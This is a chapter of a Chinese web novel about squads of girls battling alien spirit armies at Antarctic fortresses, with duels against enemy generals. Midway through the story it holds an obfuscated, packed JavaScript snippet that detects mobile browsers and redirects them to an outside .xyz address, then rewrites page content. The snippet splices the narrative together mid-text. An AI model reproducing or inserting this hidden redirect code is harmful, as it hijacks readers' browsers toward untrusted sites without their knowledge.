实际是两位老鼠指挥官，天烛和望江南，麾下有红莲留下的一支半业凰集群和一支后勤集群，但她俩都是那种乖女孩性格，不轻易与人发生冲突，这也导致她们都不爱做主，爱听从别人意见。 可是，红莲将军的高明之处，就是知人善任，两人都能听取并理解对方的观点，就能做到默契无间的配合，结果就是擅长需要充足准备的防御战，天烛负责建设火力点和暗道，望江南负责规划位置和战机把握，没什么惊艳的策略，就是拿物资换侍灵的战损，作为后勤集散地的业凰，最不缺的就是物资。 战斗就这样拖到满山遍地都是侍灵，战争执刑觉察后援乏力，亲自登上山腰，开始逐层逐间的清理火力点和暗道，紫洋带一个精锐集群杀到了。 底层广场有些近战侍灵部队设防，但这支人类队伍是不压于业凰集群的精锐，顷刻冲破侍灵防线，给广场里的弹幕型侍灵方阵来了一场屠杀。 上有三万强敌未除，下多了一万五千猛虎，战争执刑无奈率军下山，望江南看此机遇，派出了业凰集群，学院地形狭小，多沟多墙，三星队员们利用地势，逐批蚕食敌军，混战激烈非凡，高楼与断壁之间，到处是人影穿梭，刀剑碰撞的火花繁盛的如同一场盛大焰火。 腿长接近普通人类身高的敌将战争执刑，没有手臂，黑色短袍和头巾高飘，是她依靠腿侧的一对巨型车轮施展急速前冲，目标是紫洋将军，它看出紫洋剑术普通，却不停发号施令，明白只要除掉负责主攻的紫洋，战局还有可能逆转。 可奇怪的是，车轮越来越重，导致战争执刑的移速也变慢了，使它最后几步是走到了紫洋面前。 不应该呀？ 它诧异的转头侧望，紫洋卫队的队员用收起状态的黑伞护住前胸，居然趴在车轮上，把两只车轮滚成了人球，这忠心护主的决心比侍灵都强，惊的战争执刑立即回头的同时抬腿攻击，腿也抬不起来。 紫洋从容的一甩金发鬓角，用她那纯真可爱的笑脸对着战争执刑的脸，众队员心领神会，把敌将拖倒，牢牢按住。 “嘶，我看看，灵能核心在哪啊？一剑！哎？再来！” 紫洋刺了六剑，才刺中了战争执刑的核心，击杀敌将再加上前功，使她自己也升到五星。 这阵战斗结束后，业凰科学院再度被围，也就是侍灵大军开始撤退的时间点，紫洋集群和业凰集群封锁了侍灵侵入学院内部的路线，三位将军级队员聚在一起。 “哼！” 天烛被她哼了这声，转身便走，留望江南不知所措的站在她身边。 “感谢紫洋大人援救我们。” “哎呀呀，还是小江南嘴甜，不像某些人，哼！” “那么，请问您，现在该怎么办？” “这有黑猫队员吗？” “有。” “让她收集天线情报，敌军此刻还要复攻业凰，只有两种可能，一是南极内陆各城的队员都死完了，我相信她们没那么菜！第二种可能就是敌军已经输了，在回撤途中。你派人登上最高处，观望雪牢关附近情况，将所有情报汇总给我。” 挽回面子还羞辱天烛一番，紫洋的心情大好，端坐椅上，分析各地战报，她眼见各地的将军都取得不俗战果，就决定再接再厉，夺回雪牢关。 望江南听了她的计划就觉得风险太大。 “敌军总指挥部就在雪牢关下，高阶侍灵众多，情报称还拍摄到未知敌将，您独自。” 紫洋面露不悦，打断望江南的发言。 “什么独自，这不是有15625名紫洋卫队成员嘛？噢，我知道了，你们业凰是不想派人协助我，哼！” “我不是那个意思，我是说，我们都不善剑术，万一遇到敌将。” 望江南说到不擅长剑术，就好像踩了紫洋心中的地雷，见紫洋恶狠狠的看完自己后，起身就往业凰前门进发。 紫洋集群驱散了业凰科学院北侧雪原的敌军，望江南担忧她这次的鲁莽行动很可能成为整场战役的转折点，就带两个业凰集团6000多人在她后方等待，还向学院南侧墙上派了多支小队接应支援。 要说紫洋缺乏智谋，看不出凶险，那肯定不是，她是觉察敌军主力要撤出南极，想放过敌军总指挥官后，立即夺取雪牢关，将敌军残部挡住，这是大功一件，她就用实力证明了自己能当领袖，有希望取代红莲。 侍灵大军的一切进展正如她所愿，总指挥部迁往了关外海岸，似乎与黑巴集群发生激战，有大批侍灵部队加速赶往海岸，紫洋认为时机成熟，率队直冲，全员毫不恋战，以最快速度通过业凰环丘，赶到雪牢关下，她傻眼了。 大批手持黄金勾镰的高大侍灵簇拥的军团就是敌军总指挥部，在关外五公里的位置突然停止移动，紫洋集群前后都有大量敌军，迫使她只能选择关闭雪牢关的大门。 黑色的钢制巨门从东西两侧山体中缓缓伸出，投下诡异的阴影，将数千镰刀型侍灵卫士的身影勾勒成扭曲的巨兽轮廓，它们踏破风雪，奔腾而来，仿佛是随时准备吞噬任何生命的恶灵军团，紫洋的娇美小脸被这场面吓成了烂番茄的形状，金色公主发型和身披的黑色大衣随她焦急的抖动和小跳而上下跃动，她不停点按关门按钮，还不断侧看在关口列阵的紫洋卫队，这一万五千多人要被自己害死在这儿了吗？ 巨大黑门的闭合速度太慢，众参谋官一算高阶侍灵的冲锋速度，立刻揪起紫洋向内陆狂奔，其他队员收队跟上，敌方的镰刀卫士身高接近三米，躯干和面部都用金边黑布遮挡，奔跑动作有灵能力加持，速度极快，队员的伞筒机炮发射的0元素子弹侵入它们纯黑色的干瘦身体后，就好像什么都没发生一样，这些高阶侍灵的灵能躯体比一般侍灵更加致密，可以用灵能力抵消少量0元素。 巨大的黄金镰刀只需一击便可划破队员的队服，再加上镰刀的直钩形状，使队员很难挣脱，一众队友挥剑架住镰刀，将受困队员拖出敌军攻击范围，再一起开伞格挡，这样且战且逃，不得不说紫洋的高压训练很有效果，这些队员的武技，滑行和空中姿态控制力极好，她们上蹿下跳，落地滑行，速度不减，在强大敌人的冲阵下，仍保持队形不散。 暴风将雪花编制成无数条漫天白纱，在高速移动混战的双方身边环绕，紫洋集群面临敌军四面八方包围，山野之间尽是银色人影，海量银刀，灿若星河，共同营造出蔑视人类的外星军团地狱，而少女们无暇畏惧，娴熟的剑术使她们化身战场舞者，全力向南寻找生机。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15875316|176283||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 望江南的两支精锐业凰集团，杀穿敌军包围圈，迎面撞上紫洋将军，她慌乱的只顾逃命，撞在业凰队员身上就大喜过望，人们看她眼中还泛起泪花，明白这位傲慢的公主确实是被高阶侍灵军团吓坏了。紫洋卫队成员也与业凰队员合流，仅有少数队员受伤，众人松口气，立刻向业凰科学院方向撤退，跳跃过业凰环丘，落地便是下坡段的冰面，移速大幅提升。 “你们？谁是首领？” 语音直传人类大脑，全员四处张望，几乎忘了滑冰，有人偶然抬头，大喊上面！ 一个娇小的白色人影从夜空缓缓下落，它身穿白袍，背有红线连着六支银剑，头戴直筒形状的白色王冠，它的下落速度随着队员们重新加速撤退并端起伞筒机炮向上射击而加快，万千弹幕编成一张大伞形状，合力狙击这个奇特的侍灵，而它猛然砸落冰面，震飞一圈队员，其他队员立即护在紫洋身旁，这行为无意中为它指明了谁是首领。 “我是血神，探求武学奥秘之人，只愿与强者交手。” 它在说话的过程中，悬浮并高速游动，队员们的剑击每次只打中它身后的残影，有队员偶然撞在血神面前，也只是被它挥剑打飞，它在万人阵中自如浮游前进，紫洋看出这家伙只想杀她，就挣脱卫队，向南猛逃，这一路上全是队员赶来支援，天烛也派来两个精锐集团接应，人们拿这个侍灵大将毫无办法，只能全力追赶紫洋。 风雪之中，数万队员什么都不干，一起猛跑的戏剧化场景被望江南的一句话中断。 “我是首领！来跟我决斗！” 她眼见血神追上紫洋，就舍身大喊。 血神听到就转而冲向她，一击就将望江南拎在空中，她这时看清了血神，红眼白发，细密的白丝头发盘在王冠里，显示它似乎介于人类和侍灵之间，人们以为的银剑其实是六支细长针筒，针尖缓缓靠近望江南的脸，吓的她闭眼祈祷。 红发少女的胆怯基因马上就令血神失去兴趣，把少女随手一丢，继续追击紫洋。 一招突刺惊破天地，血神预感有强者逼近，就提前停身，收剑防御。 红莲收招，抱住紫洋转了三周，一扔，将她甩飞进业凰科学院。 野芹也到达血神面前，双方没空说话，超速的剑斗掀起阵阵狂风和雪浪，红莲集团分散迎战各处侍灵小队，血神在人群中晃见一位黑发女子向北滑行。 “师父！” 它大喊并摆脱野芹，冲向红莲，而野芹挥剑打散它背后的剑阵，用双臂和双腿束缚住了血神，血神目送红莲赶往雪牢关的途中只是侧看了自己一眼，就驱动针筒细剑，背刺野芹。野芹滚动转身，以剑格挡，双方后背一撞，弹开后落地对峙。 “想去哪！你的对手是我！” 血神听完，昂头，从头到脚打量野芹的外貌，翘边的白色短发上，黑色发箍有五颗黑星，五官不丑，却一脸凶悍，黑色的水手方巾随风飘摆，队服是上衣和高束腰短裙，内穿了运动短裤，腿穿长筒靴，全身肌肉线条明显，气息稳定。 “可以，今天就拿你血祭！” 血神浮空游动，像一只游弋天空的白色鲤鱼，游过的位置留下血神的残影，一共五个残影各持一支针筒细剑，六个血神同时攻向野芹。 这全方位的剑击，把野芹笼罩，周围的队员都担心她，有人尝试靠近就被能量风暴弹开，剑阵中的野芹，运转刚猛身法，躲开针尖，且以针筒本身做掩护，时而抓住针筒格挡，五秒后，野芹就挨个试出了哪个血神是残影，黑剑只对血神本体攻击，若非顶级高手，很难在五个高速移动的复制人中，跟踪本体位置。 血神的灵能武技并未取胜，武技结束的冷却期内，它紧接着施展绝招，这一剑直刺野芹的破绽，野芹被伤的瞬间也施展了一命剑，彼此剑技的强大势能几经碰撞后弹开，野芹摸摸锁骨处的轻伤，发觉敌将的针尖能无视0元素防御，或者说，是血神将大部分灵能力都集中在针尖位置，使其可以轻易突破0元素。 “真我剑术。你是红莲的徒弟吗？” “当然！我要杀死师父，成为最强！” 野芹听这家伙的精神状态比自己还疯狂，就嘲讽它。 “可我们这些队员，都师承红莲，还学到了更厉害的绝招呢！” “哈哈！你们这群废物怎么配和我比！” 血神话说一半，突然捂头痛苦挣扎，原来是针筒将野芹的血液融入了它体内，野芹见此机会，立即施展她最近领悟的绝命剑。 这里要说明，绝命剑的形式会根据武者特质变化，也就是她对绝境的反应，野芹的身影高速流转，化作一缕黑风，环绕血神，猖狂奔流，风擦其身，必留重伤。 而血神的六支针筒有自主防御功能，支撑到血神也施展出绝命剑，但它的剑技显然只具备绝命剑的防御力，宏大的剑斗，爆发的威能席卷整个战场，风雪被剑风卷成飓风，再被剑风玩弄驱散，如此反复了十秒后，血神以灵能分身招架，闪退一刻，便窜上高空。 野芹收招后，就体力不支，单膝跪地，以剑撑住身体，这是因为她在武技过程中，全是用0元素能量场强迫肢体，以达成剑术效果，全身扭伤，全靠0元素修复维护。 “你下来！” 血神俯瞰战场，关内的侍灵大军已经所剩无几，自己也身负重伤，低头朝野芹吐了一口。 “还给你！” 野芹抬手挡住，看看是血液，再看血神已飞往北极方向。 战争转机 雪牢关下，黑色铁门仍在闭合过程中，侍灵部队没中断关门，不仅使得数万侍灵部队被困关内，还使各集群无法追击，有一人用一命剑技，黑色的长发和身影发闪过，高速穿过即将合拢的巨门，众业凰队员跟不上，救人心切，一起施展了同步0元素能量场，各自助跑后，转身一跃，汇合成一股裹挟三万人的龙卷风，摇动一瞬，冲向关外。 红莲出关即一路刺穿无数侍灵，直达星神面前。 星神是名留公主发式的白发女子，身披白色大衣，穿白底金边的连身军服，衣服扣子和肩章都是星形图案，连它的双眼瞳孔都有亮蓝色的星光。 就是这双眼睛，看雪浪狂喷之处迸发蓝焰，说明侍灵被灭，星神却不曾想到，一位头戴黑帽的长发女子突现眼前，它抽剑便觉来不及了，于是暗中移动自己的灵能核心，使红莲刺空，它再抽剑，被红莲的剑挡住，它原以为这下能留出空隙，等身边侍灵合力将这女子击杀，却又意外的挨了一剑，原来是红莲变没黑剑，在左手变出，这样红莲自己的肩膀就被星神砍伤，可当星神看到黑色血液流出就明白红莲的身体构造已经近似侍灵。 双方在几毫秒内，斗了十几回合，红莲一心击毙星神，逼星神用出了绝技，一根暗蓝色长鞭从星神左手伸出，去缠红莲脖子。 红莲随即施展绝命剑，万没料到，黑剑被能量鞭缠住就无法消失，甚至自己都不能换手，就像被一股未知力量束缚，这就是星神的意识本身变出的物质，星神锁。 星神挥剑，却被红莲死死握住，银剑切裂手掌都没使她放开，在看红莲不顾周围侍灵的攻击，探身要用牙咬星神。 “你这个疯婆子！” 它撂下这句狠话，转动星神锁，弹开红莲，就急向北方狂飞，沿途的侍灵尽力掩护它，而围攻红莲的侍灵部队立刻被黑色飓风砸散，是三万业凰队员的组合武技，红莲之阵杀到，队员们触地即分散歼敌。 红莲累的躺在雪中，大口喘气，她以自身性命，试出了决定战争胜负的关键信息，星神不可复活，结合以往情报，可以大致推断出，星神是隶属于灵能会决策层的程序人，负责统合侍灵指挥系统，而灵能会决策层已经离开夜星，因此，星神无法复活，只要消灭它，侍灵大军可能原地消失，或者溃散。 她看到了胜利的希望。 独撑半边天 战役大致结束，仍有数万侍灵残部散落内陆，赛博空港派出新手队员进行以多打少的实战练习，天荷派传令队员到达红莲身边，送来的是东部雪原的战报，黑巴，铃兰，紫洋三人看完战报后，目瞪口呆，铃兰激动的说：“简直是一位战神！” 红莲知道天荷厉害，所幸没考虑东部战区的问题，她刚要睡着，听铃兰一说，就爬起来阅读战报。 “没想到你这么厉害！” 作者按战报内容，简单描述： 战役初期，红莲因叛徒存在，暂困空港山脉，敌军中路主力就向东分流出25万地面部队，随后又增派了10万只蒲公英型侍灵，由唱歌者指挥，攻破空港高原的外围阵地，对赛博空港展开包围。 天荷属下有四万队员，多是二星，还有一万名一星的新手队员。 侍灵大军包围圈逐步蚕食天荷设下的多层防御圈，队员乘车撤离期间，车队多被侍灵远程火力摧毁。通常是25人乘一辆，但天荷让车辆自动驾驶，每个防御工事，只有一名三星队员上上下下的一边开火，一边撤，损失了大量装甲运输车。 敌军推进到高原中心，天荷派出蜂鸟型无人机和有人机混编，爆发了超大规模的空战，蜂鸟型是民用设备，远不如蒲公英型侍灵，所以天荷将敌方空军放到了赛博空港城墙机炮火力射程内，山顶防空炮阵地也一同开火，空战算是勉强打平。 防空巨炮的散弹如暴雨一般铺满平原，爆炸和烟雾干扰了侍灵的探测能力，唱歌者喊出一团团的声波，将一部分炮弹滞空，于是侍灵大军中部推进的更快，逼近赛博空港城门，天荷亲率一万队员在城下迎战。 战役开始前，天荷就派了三万队员，由黑白将军，天思副官，天兮副官各带一万，通过地下隧道，到大凹坑内第一运输局车站，这三批队伍是执行反包围训练的，却遇上实战，就按计划分东，南，西三路冲向敌军包围圈后方，队员们被动防御，直接摸到了敌军中部，当山顶火炮停射，大风吹走热气和烟雾，唱歌者周围的侍灵部队真是和三倍的黑衣队员面面相觑，贴身观察了，唱歌者再抬头看天，已无半只侍灵，全是蜂鸟型，天荷很早就分析过弹幕型侍灵的迫击枪构造，懂了这种武器消耗侍灵本体能源，越开火越弱，所以曾在雪牢关战斗中消耗过的蒲公英大军已经耗不过，每秒产量上百的蜂鸟型了。 大战一触即开，敌将用超能力挣扎一番，毫无意外的死了，天荷指挥四万陆战队员和二万空中队员，对已被分割的敌军主力，东西横扫，消灭了这25万大军。 其实队员的能量消耗也很大，全靠赛博空港是轻型伞武装的制造地，机炮管够，战斗结束后，队员们在高原下方隐蔽休整，却发现平原里，走进来一队不速之客。 天家主认为这里还有几十万部队等她指挥，却见雪原上，机械残骸遍地，插满银刀，残破的迫击枪到处都是，大风席卷雪地，无数银色连身衣随风飘飞，她转身四顾，平原的边缘站起一圈又一圈的队员，黑伞掩护下，队员双手各持一挺机炮，发射的宏大弹幕，令冲锋的侍灵没跑几步就断腿断脚。 她想，是天荷做的吗？ 天荷贴心的为雪原中心留了一个扩音器，原本是想用话术拖延敌将的设备。 “对啊，天家主，好久不见。” 昔日预言今成真，天荷集群全歼了天家主和她的部队，五星升六星需要高难度作战或者积累战功，但是，天荷以一支队伍，打出了其他集群合力达成的战绩，一战便升为六星队员。